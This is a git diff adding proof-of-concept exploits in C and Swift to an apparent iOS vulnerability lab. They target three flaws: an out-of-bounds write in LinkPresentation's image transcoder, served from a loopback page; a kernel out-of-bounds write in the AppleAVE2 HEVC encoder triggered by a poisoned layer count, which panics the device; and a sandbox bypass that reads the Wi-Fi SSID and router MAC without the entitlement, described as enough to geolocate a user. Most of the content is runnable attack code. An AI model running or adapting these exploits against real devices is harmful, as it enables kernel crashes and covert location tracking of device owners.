diff --git a/CVE-2026-112621/CVE-2026-112621.c b/CVE-2026-112621/CVE-2026-112621.c new file mode 100644 index 0000000..0d93132 --- /dev/null +++ b/CVE-2026-112621/CVE-2026-112621.c @@ -0,0 +1,150 @@ +// lp.heic · LinkPresentation · LPAnimatedImageTranscoder · CVE-2026-112621 +// C twin of the Swift POC: build the two-frame container, then reproduce the exact +// draw that goes out of bounds. +// +// The transcoder sizes its pixel pool from frame 0 (256x16, 1024-byte row stride, +// 16384 bytes of pixel data) and then draws the current frame with the frame's own +// height. Frame 1 is 256x48, so CGContextClearRect clears 48 rows into a 16-row +// buffer. +// +// This file places the 16-row buffer directly against a PROT_NONE page, catches the +// first faulting store, and reports the distance past the pool. It never corrupts +// live memory and never touches the kernel. +// +// Build: clang -O2 -o cve-2026-112621 CVE-2026-112621.c \ +// -framework ImageIO -framework CoreGraphics -framework CoreFoundation +// Run: ./cve-2026-112621 [out.tiff] + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +static sigjmp_buf jump; +static volatile sig_atomic_t faulted; +static volatile uintptr_t fault_addr; + +static void on_fault(int sig, siginfo_t *info, void *ctx) { + (void)sig; (void)ctx; + faulted = 1; + fault_addr = (uintptr_t)info->si_addr; + siglongjmp(jump, 1); +} + +static CGImageRef solid(int w, int h, CGFloat r, CGFloat g, CGFloat b) { + CGColorSpaceRef cs = CGColorSpaceCreateDeviceRGB(); + CGContextRef ctx = CGBitmapContextCreate(NULL, w, h, 8, w * 4, cs, + kCGImageAlphaPremultipliedLast); + CGContextSetRGBFillColor(ctx, r, g, b, 1.0); + CGContextFillRect(ctx, CGRectMake(0, 0, w, h)); + CGImageRef img = CGBitmapContextCreateImage(ctx); + CGContextRelease(ctx); + CGColorSpaceRelease(cs); + return img; +} + +static CFMutableDataRef build_tiff(void) { + CFMutableDataRef data = CFDataCreateMutable(NULL, 0); + CGImageDestinationRef dest = CGImageDestinationCreateWithData(data, CFSTR("public.tiff"), 2, NULL); + if (!dest) { CFRelease(data); return NULL; } + CGImageRef f0 = solid(256, 16, 0.90, 0.10, 0.10); + CGImageRef f1 = solid(256, 48, 0.10, 0.20, 0.90); + CGImageDestinationAddImage(dest, f0, NULL); + CGImageDestinationAddImage(dest, f1, NULL); + int ok = CGImageDestinationFinalize(dest); + CGImageRelease(f0); CGImageRelease(f1); CFRelease(dest); + if (!ok) { CFRelease(data); return NULL; } + return data; +} + +static void probe(CFDataRef data) { + CGImageSourceRef src = CGImageSourceCreateWithData(data, NULL); + if (!src) { printf("ImageIO refused the container\n"); return; } + size_t count = CGImageSourceGetCount(src); + printf("count=%zu bytes=%ld\n", count, (long)CFDataGetLength(data)); + for (size_t i = 0; i < count && i < 2; i++) { + CGImageRef img = CGImageSourceCreateImageAtIndex(src, i, NULL); + if (img) { + printf("frame[%zu] %zux%zu\n", i, CGImageGetWidth(img), CGImageGetHeight(img)); + CGImageRelease(img); + } + } + CFRelease(src); +} + +int main(int argc, char **argv) { + CFMutableDataRef tiff = build_tiff(); + if (!tiff) { printf("could not build the two-frame container\n"); return 1; } + probe(tiff); + if (argc > 1) { + CFURLRef url = CFURLCreateFromFileSystemRepresentation(NULL, (const UInt8 *)argv[1], + strlen(argv[1]), false); + CGImageDestinationRef dest = CGImageDestinationCreateWithURL(url, CFSTR("public.tiff"), 2, NULL); + if (dest) { + CGImageRef f0 = solid(256, 16, 0.90, 0.10, 0.10); + CGImageRef f1 = solid(256, 48, 0.10, 0.20, 0.90); + CGImageDestinationAddImage(dest, f0, NULL); + CGImageDestinationAddImage(dest, f1, NULL); + CGImageDestinationFinalize(dest); + CGImageRelease(f0); CGImageRelease(f1); CFRelease(dest); + printf("seed written: %s\n", argv[1]); + } + CFRelease(url); + } + + // Reproduce the transcoder's buffer sizing: pool from frame 0, draw from frame 1. + size_t page = (size_t)sysconf(_SC_PAGESIZE); + size_t stride = 1024; // 256 px * 4 bytes, frame 0 row + size_t pool = 16 * stride; // frame 0 pixel data: 16384 bytes + size_t pool_pages = (pool + page - 1) / page; + size_t total = (pool_pages + 1) * page; + + unsigned char *base = mmap(NULL, total, PROT_READ | PROT_WRITE, + MAP_PRIVATE | MAP_ANON, -1, 0); + if (base == MAP_FAILED) { perror("mmap"); return 1; } + unsigned char *guard = base + pool_pages * page; + if (mprotect(guard, page, PROT_NONE) != 0) { perror("mprotect"); return 1; } + + struct sigaction sa; + memset(&sa, 0, sizeof(sa)); + sa.sa_sigaction = on_fault; + sa.sa_flags = SA_SIGINFO | SA_ONSTACK; + sigemptyset(&sa.sa_mask); + sigaction(SIGBUS, &sa, NULL); + sigaction(SIGSEGV, &sa, NULL); + + // The buffer the pool handed out, with exactly pool bytes before the guard. + unsigned char *buf = guard - pool; + CGColorSpaceRef cs = CGColorSpaceCreateDeviceRGB(); + CGContextRef ctx = CGBitmapContextCreate(buf, 256, 48, 8, stride, cs, + kCGImageAlphaPremultipliedLast); + printf("CGBitmapContextCreate(256x48 over a %zu-byte pool) = %p\n", pool, (void *)ctx); + if (!ctx) { + printf("context rejected — width/stride mismatch would stop the trigger here\n"); + munmap(base, total); + CFRelease(tiff); + return 0; + } + + printf("CGContextClearRect: 48 rows = %zu bytes, pool = %zu bytes\n", 48 * stride, pool); + if (sigsetjmp(jump, 1) == 0) { + CGContextClearRect(ctx, CGRectMake(0, 0, 256, 48)); + printf("no fault — the write stayed inside the mapping\n"); + } else { + printf("fault at guard + %lu bytes\n", (unsigned long)(fault_addr - (uintptr_t)guard)); + printf("oracle: the clear walked %zu bytes past the 16-row pool before the guard page stopped it\n", + 48 * stride - pool); + } + + CGContextRelease(ctx); + CGColorSpaceRelease(cs); + munmap(base, total); + CFRelease(tiff); + return 0; +} diff --git a/CVE-2026-112621/CVE-2026-112621.swift b/CVE-2026-112621/CVE-2026-112621.swift new file mode 100644 index 0000000..eab7c05 --- /dev/null +++ b/CVE-2026-112621/CVE-2026-112621.swift @@ -0,0 +1,173 @@ +// lp.heic · LinkPresentation · LPAnimatedImageTranscoder · CVE-2026-112621 +// Out-of-bounds write when a later frame is taller than the first. +// +// -[LPAnimatedImageTranscoder _transcodeWithCompletionHandler:] reads the pixel size +// of image 0 and configures the video writer with it. encodeNextFrame then takes the +// draw height from the current decoded frame while the destination is the pooled +// buffer sized for frame 0. CGContextClearRect writes the taller frame's rows past +// the pool. +// +// Delivery is the public path: LPMetadataProvider fetches a page, reads og:image, and +// feeds the multi-frame file to the transcoder. This file serves that page from +// loopback, so no network is involved. +// +// 256x16 then 256x48 keeps the width equal (the pool's row stride must accept the +// width) and only grows the height. +// +// Build: xcrun -sdk iphoneos swiftc -O -o cve-2026-112621 CVE-2026-112621.swift \ +// -framework ImageIO -framework CoreGraphics -framework LinkPresentation \ +// -framework Network -framework UniformTypeIdentifiers +// Run: ./cve-2026-112621 + +import Foundation +import ImageIO +import CoreGraphics +import LinkPresentation +import Network +import UniformTypeIdentifiers + +let firstSize = (256, 16) +let laterSize = (256, 48) + +func solid(_ w: Int, _ h: Int, _ r: CGFloat, _ g: CGFloat, _ b: CGFloat) -> CGImage { + let cs = CGColorSpaceCreateDeviceRGB() + let ctx = CGContext(data: nil, width: w, height: h, bitsPerComponent: 8, + bytesPerRow: w * 4, space: cs, + bitmapInfo: CGImageAlphaInfo.premultipliedLast.rawValue)! + ctx.setFillColor(red: r, green: g, blue: b, alpha: 1) + ctx.fill(CGRect(x: 0, y: 0, width: w, height: h)) + return ctx.makeImage()! +} + +// Two independently sized frames in one container. HEIC is the format from the +// advisory; TIFF is the fallback that ImageIO still decodes as independent pages. +func multiFrame(_ type: UTType) -> Data? { + let data = NSMutableData() + guard let dest = CGImageDestinationCreateWithData(data, type.identifier as CFString, 2, nil) else { + return nil + } + CGImageDestinationAddImage(dest, solid(firstSize.0, firstSize.1, 0.90, 0.10, 0.10), nil) + CGImageDestinationAddImage(dest, solid(laterSize.0, laterSize.1, 0.10, 0.20, 0.90), nil) + guard CGImageDestinationFinalize(dest) else { return nil } + return data as Data +} + +func probe(_ data: Data, _ label: String) { + guard let src = CGImageSourceCreateWithData(data as CFData, nil) else { + print("\(label): ImageIO refused the container"); return + } + let count = CGImageSourceGetCount(src) + print("\(label): count=\(count) bytes=\(data.count)") + for i in 0.. UInt16 { + let ready = DispatchSemaphore(value: 0) + listener.stateUpdateHandler = { state in + if case .ready = state { ready.signal() } + } + listener.newConnectionHandler = { [weak self] conn in self?.serve(conn) } + listener.start(queue: .global()) + _ = ready.wait(timeout: .now() + 5) + return listener.port?.rawValue ?? 0 + } + + private func serve(_ conn: NWConnection) { + conn.start(queue: .global()) + conn.receive(minimumIncompleteLength: 1, maximumLength: 8192) { [weak self] data, _, _, _ in + guard let self, let data, let head = String(data: data, encoding: .utf8) else { + conn.cancel(); return + } + let path = head.split(separator: " ").dropFirst().first.map(String.init) ?? "/" + self.queued += 1 + if path.hasPrefix("/pic") { + self.respond(conn, body: self.image, type: self.mime) + } else { + let page = """ + + + + cve-2026-112621 + """ + self.respond(conn, body: Data(page.utf8), type: "text/html") + } + } + } + + private func respond(_ conn: NWConnection, body: Data, type: String) { + var out = Data("HTTP/1.1 200 OK\r\nContent-Type: \(type)\r\nContent-Length: \(body.count)\r\nConnection: close\r\n\r\n".utf8) + out.append(body) + conn.send(content: out, completion: .contentProcessed { _ in conn.cancel() }) + } + + func stop() { listener.cancel() } +} + +// HEIC first; if the platform cannot encode it, a TIFF served as image/gif still +// passes -[LPImage _isAnimated] (MIME allowlist) and ImageIO decodes it by content. +var image = multiFrame(.heic) +var mime = "image/heic" +if image == nil { + image = multiFrame(.tiff) + mime = "image/gif" +} +guard let payload = image else { + print("could not build a multi-frame container"); exit(1) +} +probe(payload, "seed (\(mime))") + +let server = try LocalServer(image: payload, mime: mime) +let port = try server.start() +guard port != 0, let url = URL(string: "http://127.0.0.1:\(port)/") else { + print("server did not bind"); exit(1) +} +print("serving \(url) — ct=\(mime)") + +var done = false +var title: String? +var error: String? + +DispatchQueue.global().async { + let provider = LPMetadataProvider() + provider.timeout = 20 + provider.startFetchingMetadata(for: url) { meta, err in + title = meta?.title + error = err?.localizedDescription + done = true + } +} + +let deadline = Date().addingTimeInterval(40) +while !done && Date() < deadline { + RunLoop.main.run(until: Date().addingTimeInterval(0.1)) +} + +if !done { + print("metadata fetch timed out") +} else if let error { + print("metadata error: \(error)") +} else { + print("metadata title: \(title ?? "(none)")") + print("survived — the transcoder did not take the taller frame (fixed build)") +} +print("image requests: \(server.queued)") +server.stop() diff --git a/CVE-2026-112705/CVE-2026-112705.c b/CVE-2026-112705/CVE-2026-112705.c new file mode 100644 index 0000000..bb35e69 --- /dev/null +++ b/CVE-2026-112705/CVE-2026-112705.c @@ -0,0 +1,130 @@ +// ave.ntl · AppleAVE2 · VideoToolbox HEVC · CVE-2026-112705 +// C twin of the Swift POC. Full trigger: HEVC session, private usage/rate-control +// selectors, poisoned NumberOfTemporalLayers, one IOSurface frame submit. +// +// Setting 16463 and encoding once makes AppleAVE2 write past a fixed-size table. +// On iOS 27.0-27.1 the kernel data-aborts on the first frame; 16462 survives. +// iOS 27.2 refuses the property with -12900. +// macOS runs the same driver: the encode is gated behind --force-host because it can +// panic the host kernel. +// +// Build: clang -O2 -o cve-2026-112705 CVE-2026-112705.c \ +// -framework VideoToolbox -framework CoreMedia -framework CoreVideo -framework CoreFoundation +// Run: ./cve-2026-112705 [layers] [--force-host] + +#include +#include +#include +#include +#include +#include +#include +#include + +static int32_t set_prop(VTCompressionSessionRef s, const char *key, CFTypeRef value) { + CFStringRef k = CFStringCreateWithCString(NULL, key, kCFStringEncodingUTF8); + int32_t st = VTSessionSetProperty(s, k, value); + CFRelease(k); + return st; +} + +static void print_readback(VTCompressionSessionRef s, const char *key) { + CFStringRef k = CFStringCreateWithCString(NULL, key, kCFStringEncodingUTF8); + CFTypeRef out = NULL; + int32_t st = VTSessionCopyProperty(s, k, kCFAllocatorDefault, &out); + if (st == 0 && out) { + CFStringRef d = CFCopyDescription(out); + char buf[256] = {0}; + if (d) { + CFStringGetCString(d, buf, sizeof(buf), kCFStringEncodingUTF8); + CFRelease(d); + } + printf("%s\n", buf); + CFRelease(out); + } else { + printf("copyErr=%d\n", st); + } + CFRelease(k); +} + +int main(int argc, char **argv) { + int layers = 16463; + int force_host = 0; + for (int i = 1; i < argc; i++) { + if (strcmp(argv[i], "--force-host") == 0) force_host = 1; + else if (atoi(argv[i]) > 0) layers = atoi(argv[i]); + } + + VTCompressionSessionRef session = NULL; + OSStatus create = VTCompressionSessionCreate(kCFAllocatorDefault, 1280, 720, + kCMVideoCodecType_HEVC, NULL, NULL, + NULL, NULL, NULL, &session); + printf("VTCompressionSessionCreate(hvc1) status=%d\n", (int)create); + if (create != 0 || !session) return 1; + + int one = 1, twenty = 20; + CFNumberRef n1 = CFNumberCreate(NULL, kCFNumberIntType, &one); + CFNumberRef n20 = CFNumberCreate(NULL, kCFNumberIntType, &twenty); + int32_t su = set_prop(session, "EncoderUsage", n1); + int32_t sr = set_prop(session, "RCMode", n20); + CFRelease(n1); + CFRelease(n20); + set_prop(session, "RealTime", kCFBooleanFalse); + printf("EncoderUsage=%d RCMode=%d\n", su, sr); + + CFNumberRef n = CFNumberCreate(NULL, kCFNumberIntType, &layers); + int32_t sn = set_prop(session, "NumberOfTemporalLayers", n); + CFRelease(n); + printf("NumberOfTemporalLayers=%d status=%d\n", layers, sn); + printf("readback: "); + print_readback(session, "NumberOfTemporalLayers"); + + if (sn != 0) { + printf("property refused — fixed build (27.2+) or no AVE2 property here\n"); + VTCompressionSessionInvalidate(session); + CFRelease(session); + return 0; + } + +#if TARGET_OS_OSX + if (!force_host) { + printf("host guard: property accepted but no frame submitted.\n"); + printf("a frame submit here can panic the macOS kernel through AppleAVE2.\n"); + printf("re-run with --force-host on a disposable machine to fire it.\n"); + VTCompressionSessionInvalidate(session); + CFRelease(session); + return 0; + } +#endif + + CFDictionaryRef empty = CFDictionaryCreate(NULL, NULL, NULL, 0, + &kCFTypeDictionaryKeyCallBacks, + &kCFTypeDictionaryValueCallBacks); + CFDictionaryRef attrs = CFDictionaryCreate(NULL, + (const void **)&kCVPixelBufferIOSurfacePropertiesKey, (const void **)&empty, 1, + &kCFTypeDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks); + CVPixelBufferRef pb = NULL; + CVReturn pc = CVPixelBufferCreate(kCFAllocatorDefault, 1280, 720, + kCVPixelFormatType_420YpCbCr8BiPlanarVideoRange, + attrs, &pb); + printf("CVPixelBufferCreate status=%d\n", pc); + CFRelease(attrs); + CFRelease(empty); + if (pc != 0 || !pb) { VTCompressionSessionInvalidate(session); CFRelease(session); return 1; } + + for (int i = 0; i < 4; i++) { + CMTime pts = CMTimeMake(i, 30); + VTEncodeInfoFlags flags = 0; + OSStatus st = VTCompressionSessionEncodeFrame(session, pb, pts, kCMTimeInvalid, + NULL, NULL, &flags); + printf("encode[%d] status=%d\n", i, (int)st); + if (st != 0) break; + } + VTCompressionSessionCompleteFrames(session, kCMTimeInvalid); + printf("survived — this build does not panic\n"); + + CVPixelBufferRelease(pb); + VTCompressionSessionInvalidate(session); + CFRelease(session); + return 0; +} diff --git a/CVE-2026-112705/CVE-2026-112705.swift b/CVE-2026-112705/CVE-2026-112705.swift new file mode 100644 index 0000000..a551856 --- /dev/null +++ b/CVE-2026-112705/CVE-2026-112705.swift @@ -0,0 +1,105 @@ +// ave.ntl · AppleAVE2 · VideoToolbox HEVC encoder · CVE-2026-112705 +// Kernel out-of-bounds write through NumberOfTemporalLayers. +// +// The encoder session accepts a layer count far past the table the driver sized. +// Setting 16463 and submitting one frame makes AppleAVE2 write at a fixed offset +// past its allocation; the kernel faults and the device panics. 16462 survives. +// iOS 27.0-27.1 carry the defect, 27.2 refuses the property with -12900. +// macOS carries the same driver: encode with a poisoned layer count can panic the +// host kernel, so this file refuses to submit a frame unless --force-host is given. +// +// Build: xcrun -sdk iphoneos swiftc -O -o cve-2026-112705 CVE-2026-112705.swift \ +// -framework VideoToolbox -framework CoreMedia -framework CoreVideo +// Run: ./cve-2026-112705 [layers] [--force-host] default 16463 + +import Foundation +import VideoToolbox +import CoreMedia +import CoreVideo + +let args = CommandLine.arguments +let forceHost = args.contains("--force-host") +let layers = args.dropFirst().first(where: { Int($0) != nil }).flatMap { Int($0) } ?? 16463 + +func fourCC(_ v: OSStatus) -> String { + let n = UInt32(bitPattern: v) + let bytes = [UInt8((n >> 24) & 0xff), UInt8((n >> 16) & 0xff), UInt8((n >> 8) & 0xff), UInt8(n & 0xff)] + if bytes.allSatisfy({ $0 >= 0x20 && $0 < 0x7f }) { return "'" + String(bytes: bytes, encoding: .ascii)! + "'" } + return "\(v)" +} + +func set(_ session: VTCompressionSession, _ key: String, _ value: CFTypeRef) -> OSStatus { + VTSessionSetProperty(session, key: key as CFString, value: value) +} + +func readBack(_ session: VTCompressionSession, _ key: String) -> String { + var out: CFTypeRef? + let st = VTSessionCopyProperty(session, key: key as CFString, allocator: kCFAllocatorDefault, valueOut: &out) + guard st == 0, let v = out else { return "copyErr=\(st)" } + return "value=\(v)" +} + +var session: VTCompressionSession? +// HEVC 1280x720 is the smallest surface the AVE2 driver accepts for this path. +let create = VTCompressionSessionCreate(allocator: kCFAllocatorDefault, + width: 1280, height: 720, + codecType: kCMVideoCodecType_HEVC, + encoderSpecification: nil, + imageBufferAttributes: nil, + compressedDataAllocator: nil, + outputCallback: nil, + refcon: nil, + compressionSessionOut: &session) +print("VTCompressionSessionCreate(hvc1) status=\(create) \(fourCC(create))") +guard create == 0, let s = session else { exit(1) } + +// The recipe: private usage selector 1 with rate-control mode 20 puts the session on +// the AVE2 firmware path; real-time off keeps the frame queued. +let su = set(s, "EncoderUsage", NSNumber(value: 1)) +let sr = set(s, "RCMode", NSNumber(value: 20)) +_ = set(s, kVTCompressionPropertyKey_RealTime as String, kCFBooleanFalse) +print("EncoderUsage=\(su) RCMode=\(sr)") + +let sn = set(s, "NumberOfTemporalLayers", NSNumber(value: layers)) +print("NumberOfTemporalLayers=\(layers) status=\(sn) readback: \(readBack(s, "NumberOfTemporalLayers"))") + +if sn != 0 { + print("property refused — fixed build (27.2+) or a platform without the AVE2 property") + VTCompressionSessionInvalidate(s) + exit(0) +} + +#if os(macOS) +if !forceHost { + print("host guard: property accepted but no frame submitted.") + print("submitting a frame here can panic the macOS kernel through AppleAVE2.") + print("re-run with --force-host on a disposable machine to fire it.") + VTCompressionSessionInvalidate(s) + exit(0) +} +#endif + +// One IOSurface-backed bi-planar frame is enough: the write lands while the driver +// prepares the frame, before any compressed output exists. +var attrs: [CFString: Any] = [:] +attrs[kCVPixelBufferIOSurfacePropertiesKey] = [:] as CFDictionary +var pixelBuffer: CVPixelBuffer? +let pc = CVPixelBufferCreate(kCFAllocatorDefault, 1280, 720, + kCVPixelFormatType_420YpCbCr8BiPlanarVideoRange, + attrs as CFDictionary, &pixelBuffer) +print("CVPixelBufferCreate status=\(pc)") +guard pc == 0, let pb = pixelBuffer else { exit(1) } + +for i in 0..<4 { + let pts = CMTime(value: CMTimeValue(i), timescale: 30) + let st = VTCompressionSessionEncodeFrame(s, imageBuffer: pb, + presentationTimeStamp: pts, + duration: .invalid, + frameProperties: nil, + infoFlagsOut: nil) { _, _, _ in } + print("encode[\(i)] status=\(st) \(fourCC(st))") + if st != 0 { break } +} +VTCompressionSessionCompleteFrames(s, untilPresentationTimeStamp: .invalid) +print("survived — this build does not panic (fixed build or simulator)") +VTCompressionSessionInvalidate(s) diff --git a/CVE-2026-84636/CVE-2026-84636.c b/CVE-2026-84636/CVE-2026-84636.c new file mode 100644 index 0000000..6191aef --- /dev/null +++ b/CVE-2026-84636/CVE-2026-84636.c @@ -0,0 +1,132 @@ +// sc.dynamicstore · SystemConfiguration · configd network state · CVE-2026-84636 +// C twin of the Swift POC: read the Wi-Fi SSID and router MAC from configd's dynamic +// store without com.apple.developer.networking.wifi-info, and compare against the +// supported API, which refuses without the entitlement. +// +// Build: clang -O2 -o cve-2026-84636 CVE-2026-84636.c \ +// -framework SystemConfiguration -framework CoreFoundation +// Run: ./cve-2026-84636 + +#include +#include +#include +#include +#include +#include + +static void show(SCDynamicStoreRef store, const char *key) { + CFStringRef k = CFStringCreateWithCString(NULL, key, kCFStringEncodingUTF8); + CFPropertyListRef v = SCDynamicStoreCopyValue(store, k); + if (!v) { + printf("%s: \n", key); + } else { + CFStringRef d = CFCopyDescription(v); + char buf[2048] = {0}; + if (d) { + CFStringGetCString(d, buf, sizeof(buf), kCFStringEncodingUTF8); + CFRelease(d); + } + printf("%s: %s\n", key, buf); + CFRelease(v); + } + CFRelease(k); +} + +static char *field(CFPropertyListRef v, const char *name) { + static char buf[256]; + buf[0] = 0; + if (!v || CFGetTypeID(v) != CFDictionaryGetTypeID()) return buf; + CFStringRef key = CFStringCreateWithCString(NULL, name, kCFStringEncodingUTF8); + CFTypeRef item = CFDictionaryGetValue(v, key); + if (item && CFGetTypeID(item) == CFStringGetTypeID()) { + CFStringGetCString((CFStringRef)item, buf, sizeof(buf), kCFStringEncodingUTF8); + } else if (item) { + CFStringRef d = CFCopyDescription(item); + if (d) { + CFStringGetCString(d, buf, sizeof(buf), kCFStringEncodingUTF8); + CFRelease(d); + } + } + CFRelease(key); + return buf; +} + +int main(void) { + SCDynamicStoreRef store = SCDynamicStoreCreate(NULL, CFSTR("cve-2026-84636"), NULL, NULL); + if (!store) { printf("SCDynamicStoreCreate failed\n"); return 1; } + + printf("=== entitlement check ===\n"); +#if TARGET_OS_IPHONE + CFDictionaryRef captive = CNCopyCurrentNetworkInfo(CFSTR("en0")); + if (captive) { + CFStringRef d = CFCopyDescription(captive); + char buf[512] = {0}; + if (d) { CFStringGetCString(d, buf, sizeof(buf), kCFStringEncodingUTF8); CFRelease(d); } + printf("CNCopyCurrentNetworkInfo: %s\n", buf); + CFRelease(captive); + } else { + printf("CNCopyCurrentNetworkInfo: nil (wifi-info entitlement missing)\n"); + } +#else + printf("CNCopyCurrentNetworkInfo: not available on macOS — dynamic store path only\n"); +#endif + + printf("\n=== interface state ===\n"); + show(store, "State:/Network/Interface/en0/AirPort"); + CFPropertyListRef airport = SCDynamicStoreCopyValue(store, CFSTR("State:/Network/Interface/en0/AirPort")); + printf("SSID_STR: %s\n", field(airport, "SSID_STR")); + printf("BSSID: %s\n", field(airport, "BSSID")); + printf("Channel: %s\n", field(airport, "Channel")); + printf("AuthType: %s\n", field(airport, "AuthType")); + if (airport) CFRelease(airport); + + printf("\n=== IPv4 service (router MAC) ===\n"); + show(store, "State:/Network/Global/IPv4"); + CFPropertyListRef global = SCDynamicStoreCopyValue(store, CFSTR("State:/Network/Global/IPv4")); + char uuid[128]; + snprintf(uuid, sizeof(uuid), "%s", field(global, "PrimaryService")); + printf("PrimaryService: %s\n", uuid[0] ? uuid : ""); + printf("Router: %s\n", field(global, "Router")); + if (global) CFRelease(global); + + if (uuid[0]) { + char key[256]; + snprintf(key, sizeof(key), "State:/Network/Service/%s/IPv4", uuid); + show(store, key); + CFStringRef k = CFStringCreateWithCString(NULL, key, kCFStringEncodingUTF8); + CFPropertyListRef svc = SCDynamicStoreCopyValue(store, k); + printf("ARPResolvedHardwareAddress: %s\n", field(svc, "ARPResolvedHardwareAddress")); + if (svc) CFRelease(svc); + CFRelease(k); + + snprintf(key, sizeof(key), "State:/Network/Service/%s/DHCP", uuid); + show(store, key); + } + + printf("\n=== privacy-relevant keys ===\n"); + show(store, "State:/Network/Global/DNS"); + show(store, "com.apple.MobileBluetooth"); + show(store, "com.apple.MobileInternetSharing"); + show(store, "com.apple.sharing:/AutoUnlock/Enabled"); + show(store, "State:/IOKit/LowBatteryWarning"); + show(store, "State:/IOKit/PowerManagement/SystemLoad/Detailed"); + + printf("\n=== enumeration ===\n"); + CFArrayRef keys = SCDynamicStoreCopyKeyList(store, CFSTR("State:/Network/.*")); + if (keys) { + CFIndex n = CFArrayGetCount(keys); + printf("State:/Network keys: %ld\n", (long)n); + for (CFIndex i = 0; i < n; i++) { + CFStringRef k = CFArrayGetValueAtIndex(keys, i); + char buf[512]; + if (CFStringGetCString(k, buf, sizeof(buf), kCFStringEncodingUTF8)) show(store, buf); + } + CFRelease(keys); + } else { + printf("State:/Network key list: \n"); + } + + printf("\noracle: SSID and router MAC above came from configd without the wifi-info entitlement\n"); + CFRelease(store); + return 0; +} diff --git a/CVE-2026-84636/CVE-2026-84636.swift b/CVE-2026-84636/CVE-2026-84636.swift new file mode 100644 index 0000000..b4db1b9 --- /dev/null +++ b/CVE-2026-84636/CVE-2026-84636.swift @@ -0,0 +1,93 @@ +// sc.dynamicstore · SystemConfiguration · configd network state · CVE-2026-84636 +// Wi-Fi SSID and router MAC without com.apple.developer.networking.wifi-info. +// +// CNCopyCurrentNetworkInfo is the supported API and refuses without the entitlement. +// configd's dynamic store carries the same fields and is readable by any sandboxed +// process: State:/Network/Interface/en0/AirPort holds SSID_STR, and the service IPv4 +// entry holds ARPResolvedHardwareAddress (the router MAC). Those two values are +// enough for WiGLE-style geolocation without a location prompt. +// +// SCDynamicStore is private on iOS (the SDK marks it unavailable), so the symbols are +// resolved from SystemConfiguration by name. +// +// Build: xcrun -sdk iphoneos swiftc -O -o cve-2026-84636 CVE-2026-84636.swift \ +// -framework SystemConfiguration -framework CoreFoundation +// Run: ./cve-2026-84636 + +import Foundation +import SystemConfiguration +import SystemConfiguration.CaptiveNetwork +import CoreFoundation + +typealias CreateFn = @convention(c) (CFAllocator?, CFString, UnsafeMutableRawPointer?, UnsafeMutableRawPointer?) -> CFTypeRef? +typealias CopyFn = @convention(c) (CFTypeRef, CFString) -> CFPropertyList? +typealias KeysFn = @convention(c) (CFTypeRef, CFString) -> CFArray? + +guard let handle = dlopen("/System/Library/Frameworks/SystemConfiguration.framework/SystemConfiguration", RTLD_NOW), + let cSym = dlsym(handle, "SCDynamicStoreCreate"), + let vSym = dlsym(handle, "SCDynamicStoreCopyValue"), + let kSym = dlsym(handle, "SCDynamicStoreCopyKeyList") else { + print("SystemConfiguration symbols not found"); exit(1) +} +let create = unsafeBitCast(cSym, to: CreateFn.self) +let copyValue = unsafeBitCast(vSym, to: CopyFn.self) +let copyKeys = unsafeBitCast(kSym, to: KeysFn.self) + +guard let store = create(nil, "cve-2026-84636" as CFString, nil, nil) else { + print("SCDynamicStoreCreate failed"); exit(1) +} + +func show(_ key: String) -> CFPropertyList? { + guard let v = copyValue(store, key as CFString) else { + print("\(key): ") + return nil + } + print("\(key): \(v)") + return v +} + +func dictField(_ v: CFPropertyList?, _ field: String) -> String? { + guard let d = v as? [String: Any] else { return nil } + return d[field].map { "\($0)" } +} + +print("=== entitlement check ===") +let captive = CNCopyCurrentNetworkInfo("en0" as CFString) as? [String: Any] +print("CNCopyCurrentNetworkInfo: \(captive.map { "\($0)" } ?? "nil (entitlement missing)")") + +print("\n=== dynamic store: interface state ===") +let airport = show("State:/Network/Interface/en0/AirPort") +print("SSID_STR: \(dictField(airport, "SSID_STR") ?? "")") +print("BSSID: \(dictField(airport, "BSSID") ?? "")") +print("Channel: \(dictField(airport, "Channel") ?? "")") +print("AuthType: \(dictField(airport, "AuthType") ?? "")") + +print("\n=== dynamic store: IPv4 service (router MAC) ===") +let global = show("State:/Network/Global/IPv4") +print("PrimaryService: \(dictField(global, "PrimaryService") ?? "")") +print("Router: \(dictField(global, "Router") ?? "")") +if let uuid = dictField(global, "PrimaryService") { + let svc = show("State:/Network/Service/\(uuid)/IPv4") + print("ARPResolvedHardwareAddress: \(dictField(svc, "ARPResolvedHardwareAddress") ?? "")") + _ = show("State:/Network/Service/\(uuid)/DHCP") +} + +print("\n=== dynamic store: privacy-relevant keys ===") +for key in ["State:/Network/Global/DNS", + "com.apple.MobileBluetooth", + "com.apple.MobileInternetSharing", + "com.apple.sharing:/AutoUnlock/Enabled", + "State:/IOKit/LowBatteryWarning", + "State:/IOKit/PowerManagement/SystemLoad/Detailed"] { + _ = show(key) +} + +print("\n=== enumeration ===") +if let keys = copyKeys(store, "State:/Network/.*" as CFString) as? [String] { + print("State:/Network keys: \(keys.count)") + for k in keys.sorted() { _ = show(k) } +} else { + print("State:/Network key list: ") +} + +print("\noracle: SSID and router MAC above came from configd without the wifi-info entitlement") diff --git a/Info.plist b/Info.plist index 7b6f95c..e619341 100644 --- a/Info.plist +++ b/Info.plist @@ -22,13 +22,13 @@ CFBundlePackageType APPL CFBundleShortVersionString - 2.0 + 2.1 CFBundleSupportedPlatforms iPhoneOS CFBundleVersion - 3 + 4 DTPlatformName iphoneos DTPlatformVersion @@ -37,12 +37,17 @@ iphoneos27.0 ITSAppUsesNonExemptEncryption - LSSupportsOpeningDocumentsInPlace - LSRequiresIPhoneOS + LSSupportsOpeningDocumentsInPlace + MinimumOSVersion 17.0 + NSAppTransportSecurity + + NSAllowsLocalNetworking + + UIApplicationSceneManifest UIApplicationSupportsMultipleScenes diff --git a/README.md b/README.md index 134a02e..b8e2971 100644 --- a/README.md +++ b/README.md @@ -2,7 +2,7 @@ [中文](README.zh-CN.md) -An iOS 17.0–27.1 vulnerability-verification and device-modification lab, **51 modules**. Primary target: **iOS 27.0.1 / iPhone 18 Pro Max** (iPhone19,7 · 24A446). +An iOS 17.0–27.1 vulnerability-verification and device-modification lab, **56 modules**. Primary target: **iOS 27.0.1 / iPhone 18 Pro Max** (iPhone19,7 · 24A446). Component coverage: ImageIO, CoreGraphics, CoreMedia, FontParser, ArchiveUtility, VideoToolbox, AudioToolbox, Calendar, Dolby Vision RPU, XNU kernel IPC, sandbox & filesystem, GPT / kexts, HID / peripherals / radio, entitlement probing. @@ -10,13 +10,13 @@ Component coverage: ImageIO, CoreGraphics, CoreMedia, FontParser, ArchiveUtility | 